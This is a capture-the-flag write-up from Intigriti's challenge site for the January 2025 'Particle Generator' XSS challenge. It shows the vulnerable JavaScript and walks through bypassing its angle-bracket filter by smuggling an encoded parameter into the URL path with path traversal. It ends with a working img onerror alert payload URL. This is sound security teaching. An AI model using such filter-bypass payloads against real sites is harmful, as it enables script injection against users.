🧠
Intigriti Monthly Challenges
Intigriti
  • Homepage
  • 0425: HackDonalds
  • 0325: Leaky Flagment
  • 0125: Particle Generator
  • 1224: Fireplace Generator
  • 1124: 1337UP LIVE CTF
  • 0824: Safe Notes
  • 0724: Memo Sharing
  • 0524: Quadratic Equation Solver
  • 0424: BarSpacing Skills
  • 0324: Contact Form
  • 0224: Love Letter
  • 0124: Repo Woes
  • 1223: Smartypants Revenge
  • 1123: 1337UP LIVE CTF
  • 1023: Pseudonym Generator
  • 0923: Secure Database
  • 0823: Pure Functional Math Calculator
  • 0723: Video-to-Audio Converter
  • 0623: Protocapture
  • 0523: It’s Fun to Review the E.C.M.A
  • 0423: We Like to Sell Bricks
  • 0323: Incomplete Secure Notes Application
  • 0223: Leek NFT
  • 0123: Friends Search Engine
  • 1222: Christmas Blog
  • 1122: Secure Vault
  • 1022: Secure Notes
  • 0922: 8 Ball
  • 0822: Business Card Generator
  • 0722: Awesome Kitty Blog
  • 0622: Recipe
  • 0522: Pollution
  • 0422: Window Maker
  • 0322: Hashing
  • 0222: Extremely Short Scripting Game
  • 0122: Super Secure HTML Viewer
  • 1221: Christmas Special
  • 1121: OWASP Top 10
  • 1021: Halloween Has Taken Over
  • 0921: Password Manager
  • 0821: XSS Cookbook
Powered by GitBook
On this page
  • Video Walkthrough
  • Challenge Description
  • Useful Resources
  • Solution
  • source.js
  • Community Writeups

0125: Particle Generator

Writeup for the Intigriti January 2025 challenge πŸ’₯

Previous0325: Leaky FlagmentNext1224: Fireplace Generator

Last updated 3 months ago

Name
Authors
Category

URL Parsing, Path Traversal, XSS

Video Walkthrough

Challenge Description

Pop an alert and win Intigriti swag! πŸ†

Useful Resources

Solution

Here's the challenge source code. I've excluded the irrelevant functionality, e.g. generateFallingParticles, which is just for animation.

source.js

function XSS() {
    return (
        decodeURIComponent(window.location.search).includes("<") ||
        decodeURIComponent(window.location.search).includes(">") ||
        decodeURIComponent(window.location.hash).includes("<") ||
        decodeURIComponent(window.location.hash).includes(">")
    );
}
function getParameterByName(name) {
    var url = window.location.href;
    name = name.replace(/[\[\]]/g, "\\$&");
    var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
    results = regex.exec(url);
    if (!results) return null;
    if (!results[2]) return "";
    return decodeURIComponent(results[2].replace(/\+/g, " "));
}

// Function to redirect on form submit
function redirectToText(event) {
    event.preventDefault();
    const inputBox = document.getElementById("inputBox");
    const text = encodeURIComponent(inputBox.value);
    window.location.href = `/challenge?text=${text}`;
}

// Function to display modal if 'text' query param exists
function checkQueryParam() {
    const text = getParameterByName("text");
    if (text && XSS() === false) {
        const modal = document.getElementById("modal");
        const modalText = document.getElementById("modalText");
        modalText.innerHTML = `Welcome, ${text}!`;
        textForm.remove();
        modal.style.display = "flex";
    }
}

// Function to close the modal
function closeModal() {
    location.replace("/challenge");
}

window.onload = function () {
    checkQueryParam();
};

Let's trace through in order of execution:

  • When the page loads, checkQueryParm() is called

  • A text parameter is extracted from the URL using a custom function; getParameterByName

    • Square brackets ([]) are escaped in the parameter name.. I'm not sure why?

    • Regex ensures the text parameter is supplied after a ? or & character (ensuring it is part of the query string), e.g. ?text=CryptoCat or &text=CryptoCat

    • It also captures everything after the = in the query string with (=([^&#]*)|&|#|$), which matches any sequence of characters up to:

      • & (next parameter)

      • # (start of a fragment)

      • $ (end of the string)

    • The extracted query value undergoes two final operations, before being returned:

      • + symbols are replaced with a [space]

      • The string is URL-decoded

  • Next, an XSS() function checks if the URL-decoded query string (window.location.search) or fragment identifier (window.location.hash) contain any angular brackets (<>)

  • Providing they do not, modal.innerHTML will be set to the text parameter (this is our dangerous sink)

  • One final thing to mention; when we submit the form it executes a redirectToText() function which URL-encodes the textbox input and redirects the browser to the new path, e.g. /challenge?text=CryptoCat

TLDR; we can't place our XSS payload in the window.location.search or window.location.hash due to the XSS filter.

However, getParameterName performs regex on the entire URL (window.location.href), so maybe we can inject elsewhere without tripping the XSS() detector.

Note that since the window.location.search is validated, we can't use ? in the query string, e.g.

"https://challenge-0125.intigriti.io/challenge?text=CryptoCat";
window.location.search;
("?text=CryptoCat");

However, the custom getParameterName function extracts queries that become with ? or &, so what if we try like:

"https://challenge-0125.intigriti.io/challenge&text=CryptoCat";
window.location.search;
("");

Nice! So it won't trip the filter but the page is 404! If we change the URL to include a ? first, it will load e.g.

"https://challenge-0125.intigriti.io/challenge?cat=lol&text=CryptoCat";
window.location.search;
("?cat=lol&text=CryptoCat");

But now we have the same problem that our payload will be filtered!

This is where path traversal comes in! We can provide our payload in the path of the URL, but apply some traversal such that the URL resolves to the same endpoint! Let's verify the behaviour:

https://challenge-0125.intigriti.io/challenge/&text=CryptoCat%2f..%2f..

We are returned to the / directory, so the traversal indeed works! Let's check the console.

window.location.search;
("");

window.location.pathname;
("/challenge/&text=CryptoCat%2f..%2f..");

Perfect! We have smuggled our parameter in the path, all we need now is to replace it with an XSS payload (careful to URL encode characters due to normalisation).

https://challenge-0125.intigriti.io/challenge/&text=%3Cimg%20src=x%20onerror=alert(document.domain)%3E%2f..

Note: this was made possible due to the fact the backend server decodes the URL path before routing it. Originally, the creator wanted me to host the challenge on GitHub Pages due to this default behaviour. Instead, we implemented the same functionality via nginx.

Community Writeups

JorenVerheyen
excile
cedricm
frevadiscor
tit4n
illegalfreedom
b0ffm4n
silverpoison
s3bsrt
phlm0x
gam0v3r
siss3l
zimzi
Intigriti January Challenge (2025)
Godson
Path traversal
XSS cheatsheet